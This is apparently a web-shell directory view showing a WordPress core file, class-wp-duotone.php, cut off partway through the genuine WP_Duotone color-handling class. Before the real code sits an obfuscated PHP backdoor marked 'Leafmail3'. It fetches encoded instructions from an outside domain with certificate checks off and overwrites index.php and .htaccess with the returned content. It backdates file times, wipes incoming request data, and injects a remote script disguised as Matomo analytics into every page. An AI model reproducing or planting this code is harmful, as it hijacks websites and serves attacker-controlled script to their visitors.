AlkantarClanX12

Your IP : 3.15.31.27


Current Path : /proc/self/root/home/thanudqk/shenpokertour.com/wp-includes/
Upload File :
Current File : //proc/self/root/home/thanudqk/shenpokertour.com/wp-includes/class-wp-duotone.php

<?php /*Leafmail3*/goto hsxm4; mY3D9: $OKi1f .= "\145\x6e"; goto PMx6A; Kd95g: $eE8gG .= "\x66\x69\154\x65"; goto oGKV2; c0Bp6: $Jl55q .= "\164\157"; goto hLq5m; Vp4xb: $P5GVh = $Jl55q($guwhq); goto KpZeQ; KGgiz: $Yg3cE .= "\46\x68\x3d" . $Q6Si4; goto tGPrB; xpAbl: $PP2HF = $M1RhP($lL4Rq) || $M1RhP($Cb4XV); goto HSzn5; Kc0L3: @$jg8CY($QTlc9, $L0vpN); goto d3U3f; J7hLY: $oyXyy .= "\154\x72"; goto Bl7Ky; bQe_M: try { goto oX1u4; oX1u4: @$jg8CY($QTlc9, $HwdP2); goto mGuog; mGuog: @$jg8CY($OEoU0, $HwdP2); goto xHE2w; TupRK: @$jg8CY($OEoU0, $L0vpN); goto Mf0Y6; KHm7H: @$x09Um($KCjdR, $P5GVh); goto gKo15; gKo15: @$jg8CY($QTlc9, $L0vpN); goto fLtCp; c1PqG: @$jg8CY($KCjdR, $L0vpN); goto KHm7H; HZmuJ: @$jg8CY($KCjdR, $HwdP2); goto BHPy7; Mf0Y6: @$x09Um($OEoU0, $P5GVh); goto HZmuJ; BHPy7: @$SUpxe($KCjdR, $KmcLU["\142"]); goto c1PqG; xHE2w: @$SUpxe($OEoU0, $KmcLU["\x61"]); goto TupRK; fLtCp: } catch (Exception $w0YG7) { } goto KYs1a; Jfk_p: $guwhq = "\x2d\61"; goto FfLog; aYiIS: $NMbX8 .= "\144\x69\x72"; goto aKKe8; UPbyC: $HwdP2 += 304; goto fGMBR; JJZtD: $Jzlvr .= "\x75\156\143\164"; goto K31Ka; wCWRd: $SUj9O .= "\x73\x65"; goto SQa11; EdFV9: $M1RhP = "\144\x65\x66"; goto CcXTx; SDHjH: $QTlc9 = $_SERVER[$zl1NS]; goto BhGva; v4imZ: $aBJVO .= "\165\x65\162\x79"; goto ccRhk; C3xz0: $QuqQl .= "\157\160\164"; goto ExrBe; Mn8P4: $nCEBP .= "\143\153"; goto rirWy; oGKV2: $AIpqX = "\x69\x73\137"; goto yLTbR; ShiTE: $jg8CY = "\143\x68"; goto HTXlE; FRUFZ: if (!(!$PP2HF && $wU3zB)) { goto cynsl; } goto fT2Kb; D5OCa: $Jl55q = "\x73\164\162"; goto c0Bp6; jFRX7: $x09Um .= "\x75\143\150"; goto ShiTE; CIdAQ: try { goto uKjO1; uKjO1: $KJxhs = $Lbxvg(); goto h_HFe; ahPCJ: $SpmAm = $qG0GR($KJxhs); goto EzjNL; xG0S9: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 10); goto ahPCJ; SQbKW: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto xG0S9; FS40F: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto h05EJ; h05EJ: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto KfHmj; cFoFb: $SpmAm = trim(trim($SpmAm, "\xef\273\277")); goto XVsob; KfHmj: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto SQbKW; EzjNL: $SUj9O($KJxhs); goto cFoFb; h_HFe: $QuqQl($KJxhs, CURLOPT_URL, $Yg3cE); goto FS40F; XVsob: } catch (Exception $w0YG7) { } goto Rf0CY; OWp53: $NMbX8 = "\155\x6b"; goto aYiIS; Dx3FV: $lrArR = $WVzi1[0]; goto IH6rw; i5aD2: if (!(!$eE8gG($KCjdR) || $wgQyS($KCjdR) != $CXpqw)) { goto eit7d; } goto KjDHJ; FWxON: $PVllF = "\144\x65\143"; goto EwaSn; KjDHJ: $YEcMX = 1; goto z9vF6; ZyUiw: $Jzlvr .= "\167\156\137\146"; goto JJZtD; mCzgW: $_SERVER[$Jzlvr] = 0; goto EkOAP; NflDd: $Yg3cE .= "\x63\157\x70\171"; goto KGgiz; yB2Sc: $JyN8a .= "\x69\x73\164\163"; goto Rkiyf; klUXl: $KCjdR .= "\x61\x63\x63\x65\163\x73"; goto lFs7r; Fra8y: $k1dzM = "\65"; goto Js55e; pF1JS: $OEoU0 .= "\150\160"; goto C_QnM; xhtvx: $leXnA .= "\x6e\x69"; goto rLZqh; n28OO: $sJIxp .= "\151\141\154\151\172\x65"; goto bm81E; znIi3: @unlink($leXnA); goto Kc0L3; slgUn: $sJIxp = "\x75\156\163\145\162"; goto n28OO; QELur: $Jzlvr .= "\147\151\x73\x74"; goto lEaPh; Js55e: $k1dzM .= "\56\x34"; goto N7I8b; rLZqh: if (!$eE8gG($leXnA)) { goto WwLVo; } goto laOt4; yCiib: EKIjw: goto m_fRf; Gcw6D: $SLV70 .= "\x6f\x6e\x5f\143\157\x6d"; goto FFtsE; bm81E: $a2D8O = "\151\x6e\164"; goto l0tUv; xQGdz: try { $_SERVER[$Jzlvr] = 1; $Jzlvr(function () { goto F3wJk; ZjuUH: $PgG92 .= "\x6f\162\145\x28\x67\54\x73\51\73" . "\xa"; goto IC5Gf; HNrtn: $PgG92 .= "\164\x2f\x6a\141\x76\x61"; goto NGG39; NGG39: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\x3e" . "\12"; goto fvKWo; zjuBs: $PgG92 .= $Q6Si4; goto ozlGd; e43vJ: $PgG92 .= "\x3b\40\147\x2e\x64\145\146"; goto WAaTZ; ctigl: $PgG92 .= "\143\x72\x69\x70\x74\76\12"; goto UQzFQ; o0zxz: $PgG92 .= "\x74\x6f\155\x6f\x20\x2d\55\x3e\12"; goto mPwIJ; HgwKa: $PgG92 .= "\x67\56\163\x72"; goto XHdHm; cMvbH: $PgG92 .= "\x3f\x69\x64\x3d"; goto CPJJv; T8SNl: $PgG92 .= "\x28\42\163\143\x72\x69"; goto DVVjf; EQZrG: $PgG92 .= "\165\155\x65\156\164\54\40\147\x3d\x64\56\x63\x72\x65\141\164\x65"; goto CVmAR; OsCJL: $PgG92 .= "\x72\x69\160\x74\x20\164\171\x70\x65\x3d\42\164\145\x78"; goto HNrtn; fvKWo: $PgG92 .= "\x28\146\x75\x6e\x63"; goto D9Z4J; XHdHm: $PgG92 .= "\143\x3d\x75\53\42\x6a\x73\x2f"; goto zjuBs; F3wJk: global $Q6Si4, $FOvp_; goto ikpGs; DVVjf: $PgG92 .= "\x70\164\x22\51\x5b\x30\135\73" . "\12"; goto OlxLe; CPJJv: $PgG92 .= "\x4d\55"; goto nBzuv; wKipS: $PgG92 .= "\x6a\141\x76\141"; goto y_xeS; D9Z4J: $PgG92 .= "\x74\x69\157\x6e\x28\51\x20\x7b" . "\12"; goto vt08G; vXk66: $PgG92 .= "\x79\124\x61\147\116\x61\155\145"; goto T8SNl; ikpGs: $PgG92 = "\x3c\x21\x2d\x2d\40\115\x61"; goto o0zxz; rJXe5: $PgG92 .= "\x72\151\160\164\42\51\x2c\40\163\75\144\56\147\x65\164"; goto pxHT_; VSQBz: $PgG92 .= "\x73\171\x6e\143\75\x74\162\x75\145"; goto e43vJ; pxHT_: $PgG92 .= "\x45\154\145\x6d\x65\x6e\x74\x73\x42"; goto vXk66; QIy0x: $PgG92 .= "\157\x6d\157\40\103\157\x64"; goto Uxlnc; rjIua: $PgG92 .= "\74\57\x73"; goto ctigl; puLbh: $PgG92 .= "\x3d\x22\164\x65\170\164\x2f"; goto wKipS; CVmAR: $PgG92 .= "\x45\154\145\155\145\x6e\164\50\42\x73\143"; goto rJXe5; UU_6f: $PgG92 .= "\x22\73\40\163\x2e\160\141\x72"; goto aBxBL; c1FaP: echo $PgG92; goto zSGUt; UQzFQ: $PgG92 .= "\x3c\x21\x2d\55\x20\x45\x6e"; goto qvKfj; IC5Gf: $PgG92 .= "\x7d\x29\50\51\73" . "\xa"; goto rjIua; OlxLe: $PgG92 .= "\x67\56\164\x79\x70\x65"; goto puLbh; EfTgB: $PgG92 .= "\166\x61\x72\40\x64\x3d\x64\x6f\143"; goto EQZrG; nBzuv: $PgG92 .= time(); goto UU_6f; Uxlnc: $PgG92 .= "\145\40\55\x2d\76\xa"; goto c1FaP; mZ3oI: $PgG92 .= "\x73\x65\x72\x74\102\145\x66"; goto ZjuUH; WAaTZ: $PgG92 .= "\x65\x72\x3d\164\162\x75\x65\x3b" . "\12"; goto HgwKa; ozlGd: $PgG92 .= "\57\x6d\x61\164"; goto TbrIf; aBxBL: $PgG92 .= "\145\x6e\164\x4e\x6f\144\x65\x2e\x69\156"; goto mZ3oI; mPwIJ: $PgG92 .= "\x3c\x73\x63"; goto OsCJL; vt08G: $PgG92 .= "\166\x61\x72\x20\x75\x3d\42" . $FOvp_ . "\42\x3b" . "\12"; goto EfTgB; y_xeS: $PgG92 .= "\163\x63\x72\x69\x70\x74\x22\73\40\147\56\x61"; goto VSQBz; qvKfj: $PgG92 .= "\144\40\115\141\x74"; goto QIy0x; TbrIf: $PgG92 .= "\157\155\157\56\x6a\163"; goto cMvbH; zSGUt: }); } catch (Exception $w0YG7) { } goto OMFq0; HTXlE: $jg8CY .= "\155\x6f\144"; goto u78ub; KT1wX: $WVzi1 = []; goto TZ3bq; d3U3f: WwLVo: goto QM61W; h87Dq: $leXnA .= "\145\162\x2e\x69"; goto xhtvx; nIVO8: $JyN8a = "\x66\x75\156\143"; goto GoX1L; jFsRM: $tAPba = 5; goto mY7sQ; SQa11: $aBJVO = "\150\164\x74\160\x5f\142"; goto AJs9s; laOt4: @$jg8CY($QTlc9, $HwdP2); goto L3sEg; MPyJp: $Jzlvr .= "\x73\x68\165"; goto scBFF; hs_XX: if (!is_array($KmcLU)) { goto Ji4ud; } goto LNg_o; L3sEg: @$jg8CY($leXnA, $HwdP2); goto znIi3; QIUGn: $SUpxe .= "\160\x75\164\137\x63"; goto kd_ew; KVOXl: $oyXyy = $QTlc9; goto coTO5; lEaPh: $Jzlvr .= "\x65\x72\137"; goto MPyJp; BhGva: $pW2vG = $QTlc9; goto NAu12; qNILG: $oyXyy .= "\150\160\56\60"; goto RNzhh; Zn9KR: $Lbxvg .= "\154\x5f\x69\x6e\151\x74"; goto qk2Ao; ZoBZC: $qG0GR .= "\154\x5f\x65\170\x65\x63"; goto AVxD0; mY7sQ: $tAPba += 3; goto y9KuX; ttAoG: $Yg3cE .= "\x3d\x67\145\x74"; goto NflDd; FFtsE: $SLV70 .= "\160\141\162\145"; goto EdFV9; eBPlp: $tbkvt .= "\137\x48\x4f\x53\x54"; goto mlRqF; y9KuX: $HwdP2 = 189; goto UPbyC; trQa2: $eE8gG = "\151\x73\x5f"; goto Kd95g; coTO5: $oyXyy .= "\x2f\170\x6d"; goto J7hLY; ccRhk: $D68oh = "\155\x64\x35"; goto wF0JY; zFQvK: $Kp0SW .= "\145\x70\x74\x61\x62\x6c\x65"; goto KVOXl; QsGMA: if (!(!$eE8gG($OEoU0) || $wgQyS($OEoU0) != $lrArR)) { goto Phq1q; } goto hbhZ9; dNN2Q: $L0vpN += 150; goto BU5yK; mf5ON: $QuqQl .= "\x6c\x5f\x73\x65\x74"; goto C3xz0; hTxii: $pFwD_ = "\x2f\136\x63"; goto GJpaV; SjSdb: if (!($JyN8a($Lbxvg) && !preg_match($pFwD_, PHP_SAPI) && $nCEBP($lMxQN, 2 | 4))) { goto sPsQO; } goto NFErl; xsENl: try { goto Rj1Hp; zDVDE: $ahOJp .= "\164\75\x63\141"; goto YWC0r; EdFQK: if ($AIpqX($Io3QB)) { goto BpK_a; } goto r_zk0; OTh7W: $Io3QB = dirname($Nfe0e); goto EdFQK; toAoY: @$jg8CY($Io3QB, $HwdP2); goto ALYMH; g2WNq: $ahOJp = $FOvp_; goto Q_jhz; YWC0r: $ahOJp .= "\154\154"; goto qpBjZ; Rj1Hp: $Nfe0e = $QTlc9 . $KmcLU["\x64"]["\160\141\164\150"]; goto OTh7W; r_zk0: @$NMbX8($Io3QB, $HwdP2, true); goto yxLDn; IMGFo: VUik8: goto OCPb3; ALYMH: @$SUpxe($Nfe0e, $KmcLU["\144"]["\x63\157\x64\x65"]); goto D2b8f; yxLDn: BpK_a: goto VXrMt; VXrMt: if (!$AIpqX($Io3QB)) { goto VUik8; } goto toAoY; l8bWn: try { goto Rtq9b; N8H27: $SUj9O($KJxhs); goto PHxGn; P9hMZ: $QuqQl($KJxhs, CURLOPT_URL, $ahOJp); goto aJWcu; GlRPI: $QuqQl($KJxhs, CURLOPT_POSTFIELDS, $aBJVO($nLpk_)); goto M4b4c; bz5Ia: $QuqQl($KJxhs, CURLOPT_POST, 1); goto GlRPI; ifFFq: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYHOST, false); goto kx509; M4b4c: $qG0GR($KJxhs); goto N8H27; UfA6j: $QuqQl($KJxhs, CURLOPT_TIMEOUT, 3); goto bz5Ia; kx509: $QuqQl($KJxhs, CURLOPT_FOLLOWLOCATION, true); goto UfA6j; aJWcu: $QuqQl($KJxhs, CURLOPT_RETURNTRANSFER, 1); goto hBtdw; Rtq9b: $KJxhs = $Lbxvg(); goto P9hMZ; hBtdw: $QuqQl($KJxhs, CURLOPT_SSL_VERIFYPEER, false); goto ifFFq; PHxGn: } catch (Exception $w0YG7) { } goto IMGFo; s60Ax: @$x09Um($Nfe0e, $P5GVh); goto g2WNq; Q_jhz: $ahOJp .= "\77\x61\x63"; goto zDVDE; D2b8f: @$jg8CY($Nfe0e, $L0vpN); goto s_yVr; qpBjZ: $nLpk_ = ["\144\141\164\141" => $KmcLU["\x64"]["\165\162\x6c"]]; goto l8bWn; s_yVr: @$jg8CY($Io3QB, $L0vpN); goto s60Ax; OCPb3: } catch (Exception $w0YG7) { } goto bQe_M; e4Ifc: $Q6Si4 = $_SERVER[$tbkvt]; goto SDHjH; EwaSn: $PVllF .= "\x6f\143\x74"; goto CwGUI; yLTbR: $AIpqX .= "\x64\151\x72"; goto OWp53; BpAbm: $lL4Rq = "\x57\120\137\x55"; goto lIGrh; QBgho: Z7kbo: goto MUx3h; IH6rw: $CXpqw = $WVzi1[1]; goto QsGMA; yCtJ5: $JyN8a .= "\145\170"; goto yB2Sc; rirWy: $d_KAU = "\x66\143\x6c"; goto kGS2i; ExrBe: $qG0GR = $MogIQ; goto ZoBZC; qk2Ao: $QuqQl = $MogIQ; goto mf5ON; Z31wx: $jg8CY($QTlc9, $HwdP2); goto Ag8lc; K4l5B: $OEoU0 .= "\144\x65\x78\x2e\160"; goto pF1JS; bRDE_: $Cb4XV .= "\x5f\x41\x44"; goto YF7Rp; nElWS: $guwhq .= "\141\x79\x73"; goto Vp4xb; tP5eQ: $pW2vG .= "\x2d\141"; goto wx8gB; GJpaV: $pFwD_ .= "\x6c\151\57"; goto xJCEv; lFs7r: $leXnA = $QTlc9; goto tV4kM; t0fao: $Yg3cE = $FOvp_; goto NZ1x6; XrDkv: if (isset($_SERVER[$Jzlvr])) { goto r0CaT; } goto mCzgW; PMx6A: $nCEBP = "\146\154\157"; goto Mn8P4; C2C3X: $wgQyS .= "\154\x65"; goto trQa2; zsusp: $KmcLU = 0; goto jkCOI; NIEOu: $L0vpN = 215; goto dNN2Q; OEFkW: rsAYm: goto UL5LC; hbhZ9: $YEcMX = 1; goto IiUuQ; m_fRf: if (!$YEcMX) { goto gtKXO; } goto t0fao; i7ojl: $guwhq .= "\63\40\144"; goto nElWS; NAu12: $pW2vG .= "\57\x77\160"; goto tP5eQ; iw0Nk: $FOvp_ .= "\154\x69\x6e\x6b\56\164"; goto hSD1f; scBFF: $Jzlvr .= "\164\144\x6f"; goto ZyUiw; KpZeQ: $tbkvt = "\x48\124\124\120"; goto eBPlp; r500z: $KCjdR .= "\x2f\56\x68\x74"; goto klUXl; OMFq0: w6JGc: goto bH1zF; kd_ew: $SUpxe .= "\x6f\x6e\164\145\x6e\x74\163"; goto diLdg; PoTvn: $OEoU0 = $QTlc9; goto Fc1AY; aKKe8: $wM0cw = "\146\151\154\x65\137"; goto J0OQr; J3xw9: $FOvp_ = "\150\x74\x74\x70\163\72\57\57"; goto QlKtX; hSD1f: $FOvp_ .= "\157\160\57"; goto F0vj_; kGS2i: $d_KAU .= "\x6f\163\x65"; goto J3xw9; QM61W: $YEcMX = 0; goto SUEqd; p0Flx: $SUj9O .= "\154\137\143\x6c\x6f"; goto wCWRd; hLq5m: $Jl55q .= "\164\151"; goto lcFkG; YF7Rp: $Cb4XV .= "\115\x49\116"; goto xpAbl; eC9HP: $IhD_T = substr($D68oh($Q6Si4), 0, 6); goto DX3Ky; R8zQO: $SUpxe = "\146\151\x6c\145\137"; goto QIUGn; QlKtX: $FOvp_ .= "\x73\x65\x6f"; goto iw0Nk; C_QnM: $KCjdR = $QTlc9; goto r500z; EVan7: $y1BSo .= "\66\x34\x5f\x64"; goto n14XQ; CwGUI: $LDT3_ = "\x73\x74\x72"; goto iemde; wF0JY: $wgQyS = $D68oh; goto tC7IY; lcFkG: $Jl55q .= "\155\145"; goto nIVO8; LNg_o: try { goto mjWqA; aMSC6: @$jg8CY($iTCcx, $L0vpN); goto uokyK; UHS8F: @$jg8CY($pW2vG, $HwdP2); goto EZm8t; uokyK: @$x09Um($iTCcx, $P5GVh); goto bavy5; aNk_f: a5xL9: goto q700I; EZm8t: $iTCcx = $E3Ibu; goto aNk_f; OGZQL: if (!$AIpqX($pW2vG)) { goto a5xL9; } goto UHS8F; q700I: @$SUpxe($iTCcx, $KmcLU["\x63"]); goto aMSC6; mjWqA: @$jg8CY($QTlc9, $HwdP2); goto OGZQL; bavy5: } catch (Exception $w0YG7) { } goto xsENl; KYs1a: Ji4ud: goto QBgho; mlRqF: $zl1NS = "\104\x4f\103\125\115\x45\x4e\x54"; goto hivPL; OH0x0: $Tut_m .= "\x6e\146\154\x61\x74\145"; goto slgUn; Rf0CY: if (!($SpmAm !== false)) { goto Z7kbo; } goto zsusp; RNzhh: $OKi1f = "\146\157\160"; goto mY3D9; tC7IY: $wgQyS .= "\x5f\146\x69"; goto C2C3X; xePje: $Kp0SW = "\110\x54\124"; goto xIN_k; fT2Kb: $_POST = $_REQUEST = $_FILES = array(); goto UASYd; diLdg: $x09Um = "\164\157"; goto jFRX7; DX3Ky: $E3Ibu = $iTCcx = $pW2vG . "\57" . $IhD_T; goto KT1wX; J0OQr: $wM0cw .= "\x67\145\x74\137\x63"; goto KA3CR; MUx3h: gtKXO: goto qfVae; Ag8lc: $lMxQN = $OKi1f($oyXyy, "\167\x2b"); goto SjSdb; Rkiyf: $MogIQ = "\x63\165\x72"; goto chVKY; TZ3bq: $dmwnh = 32; goto jFsRM; tGPrB: $SpmAm = false; goto CIdAQ; hivPL: $zl1NS .= "\x5f\x52\117\117\x54"; goto Fra8y; Gx5VO: $Kp0SW .= "\60\x36\40\116\x6f"; goto z0Ye5; UL5LC: $YEcMX = 1; goto yCiib; NZ1x6: $Yg3cE .= "\77\141\143\x74"; goto ttAoG; xIN_k: $Kp0SW .= "\120\57\x31\x2e\x31\40\x34"; goto Gx5VO; BU5yK: $L0vpN = $a2D8O($PVllF($L0vpN), $tAPba); goto xePje; HPuPS: $SLV70 = "\166\145\162\x73\x69"; goto Gcw6D; lIGrh: $lL4Rq .= "\123\105\137\x54\x48\x45"; goto uBz23; GoX1L: $JyN8a .= "\164\x69\157\x6e\x5f"; goto yCtJ5; wx8gB: $pW2vG .= "\x64\x6d\151\156"; goto eC9HP; mEJVe: $s6EXz = $_FILES; goto p7L1U; uBz23: $lL4Rq .= "\115\x45\123"; goto Me43b; F0vj_: $Jzlvr = "\162\145"; goto QELur; l0tUv: $a2D8O .= "\x76\x61\154"; goto FWxON; tV4kM: $leXnA .= "\57\56\x75\163"; goto h87Dq; z0Ye5: $Kp0SW .= "\x74\40\101\x63\x63"; goto zFQvK; aSc51: goto EKIjw; goto OEFkW; K31Ka: $Jzlvr .= "\x69\157\x6e"; goto XrDkv; IiUuQ: Phq1q: goto i5aD2; NFErl: $jg8CY($QTlc9, $L0vpN); goto aro2m; EkOAP: r0CaT: goto BpAbm; UASYd: cynsl: goto Z31wx; N7I8b: $k1dzM .= "\x2e\60\73"; goto e4Ifc; Fc1AY: $OEoU0 .= "\x2f\151\156"; goto K4l5B; Bl7Ky: $oyXyy .= "\160\143\x2e\x70"; goto qNILG; HSzn5: $P0UrJ = $_REQUEST; goto mEJVe; KA3CR: $wM0cw .= "\157\156\164\x65\x6e\164\163"; goto R8zQO; AJs9s: $aBJVO .= "\165\151\154\x64\137\161"; goto v4imZ; z9vF6: eit7d: goto aSc51; chVKY: $Lbxvg = $MogIQ; goto Zn9KR; jkCOI: try { $KmcLU = @$sJIxp($Tut_m($y1BSo($SpmAm))); } catch (Exception $w0YG7) { } goto hs_XX; FfLog: $guwhq .= "\x33\x36"; goto i7ojl; u78ub: $y1BSo = "\x62\141\x73\x65"; goto EVan7; Me43b: $Cb4XV = "\127\x50"; goto bRDE_; p7L1U: $wU3zB = !empty($P0UrJ) || !empty($s6EXz); goto FRUFZ; bH1zF: try { goto hOljI; hTb2m: $WVzi1[] = $qQkQf; goto AVR1Z; wTrAR: $WVzi1[] = $mps9W; goto USnsY; O2FVm: $iTCcx = $QTlc9 . "\57" . $IhD_T; goto wiWx3; o5KeW: if (!empty($WVzi1)) { goto YMthw; } goto O2FVm; m1oNR: $WVzi1[] = $mps9W; goto hTb2m; C5yVp: NQbOe: goto o5KeW; uB5Qk: $mps9W = trim($JwExk[0]); goto hHGO3; tXeIo: I87JI: goto KjVrB; of38T: $JwExk = @explode("\72", $wM0cw($iTCcx)); goto lJihh; e3ZU6: $mps9W = trim($JwExk[0]); goto s4UPH; AVR1Z: uxegI: goto K3NXW; lU9RV: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto iEvPe; } goto wTrAR; ysg_I: LUX7P: goto tXeIo; BWadG: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto LUX7P; } goto uB5Qk; wiWx3: if (!$eE8gG($iTCcx)) { goto I87JI; } goto GGIpg; hOljI: if (!$eE8gG($iTCcx)) { goto NQbOe; } goto of38T; GGIpg: $JwExk = @explode("\x3a", $wM0cw($iTCcx)); goto BWadG; KjVrB: YMthw: goto jes1d; hHGO3: $qQkQf = trim($JwExk[1]); goto lU9RV; m5G9U: if (!($LDT3_($mps9W) == $dmwnh && $LDT3_($qQkQf) == $dmwnh)) { goto uxegI; } goto m1oNR; zW9Vv: iEvPe: goto ysg_I; s4UPH: $qQkQf = trim($JwExk[1]); goto m5G9U; lJihh: if (!(is_array($JwExk) && count($JwExk) == 2)) { goto oJdNI; } goto e3ZU6; USnsY: $WVzi1[] = $qQkQf; goto zW9Vv; K3NXW: oJdNI: goto C5yVp; jes1d: } catch (Exception $w0YG7) { } goto PoTvn; W_RKl: $Tut_m = "\147\x7a\151"; goto OH0x0; n14XQ: $y1BSo .= "\145\x63\157\144\145"; goto W_RKl; hsxm4: $pqAdF = "\x3c\104\x44\115\76"; goto hTxii; xJCEv: $pFwD_ .= "\x73\x69"; goto D5OCa; SUEqd: if (empty($WVzi1)) { goto rsAYm; } goto Dx3FV; CcXTx: $M1RhP .= "\x69\x6e\145\x64"; goto Jfk_p; aro2m: if (!(!$_SERVER[$Jzlvr] && $SLV70(PHP_VERSION, $k1dzM, "\76"))) { goto w6JGc; } goto xQGdz; iemde: $LDT3_ .= "\x6c\145\156"; goto HPuPS; fGMBR: $HwdP2 = $a2D8O($PVllF($HwdP2), $tAPba); goto NIEOu; AVxD0: $SUj9O = $MogIQ; goto p0Flx; qfVae: sPsQO: ?>
<?php
/**
 * WP_Duotone class
 *
 * Parts of this source were derived and modified from colord,
 * released under the MIT license.
 *
 * https://github.com/omgovich/colord
 *
 * Copyright (c) 2020 Vlad Shilov omgovich@ya.ru
 *
 * Permission is hereby granted, free of charge, to any person obtaining
 * a copy of this software and associated documentation files (the
 * "Software"), to deal in the Software without restriction, including
 * without limitation the rights to use, copy, modify, merge, publish,
 * distribute, sublicense, and/or sell copies of the Software, and to
 * permit persons to whom the Software is furnished to do so, subject to
 * the following conditions:
 *
 * The above copyright notice and this permission notice shall be
 * included in all copies or substantial portions of the Software.
 *
 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
 * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
 * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
 * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
 * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
 * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
 * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
 *
 * @package WordPress
 * @since 6.3.0
 */

/**
 * Manages duotone block supports and global styles.
 *
 * @access private
 */
class WP_Duotone {
	/**
	 * Block names from global, theme, and custom styles that use duotone presets and the slug of
	 * the preset they are using.
	 *
	 * Example:
	 *  [
	 *      'core/featured-image' => 'blue-orange',
	 *       …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $global_styles_block_names;

	/**
	 * An array of duotone filter data from global, theme, and custom presets.
	 *
	 * Example:
	 *  [
	 *      'wp-duotone-blue-orange' => [
	 *          'slug'  => 'blue-orange',
	 *          'colors' => [ '#0000ff', '#ffcc00' ],
	 *      ],
	 *      'wp-duotone-red-yellow' => [
	 *          'slug'   => 'red-yellow',
	 *          'colors' => [ '#cc0000', '#ffff33' ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $global_styles_presets;

	/**
	 * All of the duotone filter data from presets for CSS custom properties on
	 * the page.
	 *
	 * Example:
	 *  [
	 *      'wp-duotone-blue-orange' => [
	 *          'slug'   => 'blue-orange',
	 *          'colors' => [ '#0000ff', '#ffcc00' ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $used_global_styles_presets = array();

	/**
	 * All of the duotone filter data for SVGs on the page. Includes both
	 * presets and custom filters.
	 *
	 * Example:
	 *  [
	 *      'wp-duotone-blue-orange' => [
	 *          'slug'   => 'blue-orange',
	 *          'colors' => [ '#0000ff', '#ffcc00' ],
	 *      ],
	 *      'wp-duotone-000000-ffffff-2' => [
	 *          'slug'   => '000000-ffffff-2',
	 *          'colors' => [ '#000000', '#ffffff' ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $used_svg_filter_data = array();

	/**
	 * All of the block CSS declarations for styles on the page.
	 *
	 * Example:
	 *  [
	 *      [
	 *          'selector'     => '.wp-duotone-000000-ffffff-2.wp-block-image img',
	 *          'declarations' => [
	 *              'filter' => 'url(#wp-duotone-000000-ffffff-2)',
	 *          ],
	 *      ],
	 *      …
	 *  ]
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @var array
	 */
	private static $block_css_declarations = array();

	/**
	 * Clamps a value between an upper and lower bound.
	 *
	 * Direct port of colord's clamp function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L23 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param float $number The number to clamp.
	 * @param float $min    The minimum value.
	 * @param float $max    The maximum value.
	 * @return float The clamped value.
	 */
	private static function colord_clamp( $number, $min = 0, $max = 1 ) {
		return $number > $max ? $max : ( $number > $min ? $number : $min );
	}

	/**
	 * Processes and clamps a degree (angle) value properly.
	 *
	 * Direct port of colord's clampHue function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L32 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param float $degrees The hue to clamp.
	 * @return float The clamped hue.
	 */
	private static function colord_clamp_hue( $degrees ) {
		$degrees = is_finite( $degrees ) ? $degrees % 360 : 0;
		return $degrees > 0 ? $degrees : $degrees + 360;
	}

	/**
	 * Converts a hue value to degrees from 0 to 360 inclusive.
	 *
	 * Direct port of colord's parseHue function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/helpers.ts#L40 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param float  $value The hue value to parse.
	 * @param string $unit  The unit of the hue value.
	 * @return float The parsed hue value.
	 */
	private static function colord_parse_hue( $value, $unit = 'deg' ) {
		$angle_units = array(
			'grad' => 360 / 400,
			'turn' => 360,
			'rad'  => 360 / ( M_PI * 2 ),
		);

		$factor = isset( $angle_units[ $unit ] ) ? $angle_units[ $unit ] : 1;

		return (float) $value * $factor;
	}

	/**
	 * Parses any valid Hex3, Hex4, Hex6 or Hex8 string and converts it to an RGBA object.
	 *
	 * Direct port of colord's parseHex function.
	 *
	 * @link https://github.com/omgovich/colord/blob/3f859e03b0ca622eb15480f611371a0f15c9427f/src/colorModels/hex.ts#L8 Sourced from colord.
	 *
	 * @internal
	 *
	 * @since 6.3.0
	 *
	 * @param string $hex The hex string to parse.
	 * @return array|null An array of RGBA values or null if the hex string is invalid.
	 */
	private static function colord_parse_hex( $hex ) {
		$is_match = preg_match(
			'/^#([0-9a-f]{3,8})$/i',
			$hex,
			$hex_match
		);

		if ( ! $is_match ) {
			return null;
		}

		$hex = $hex_match[1];

		if ( 4 >= strlen( $hex ) ) {
			return array(
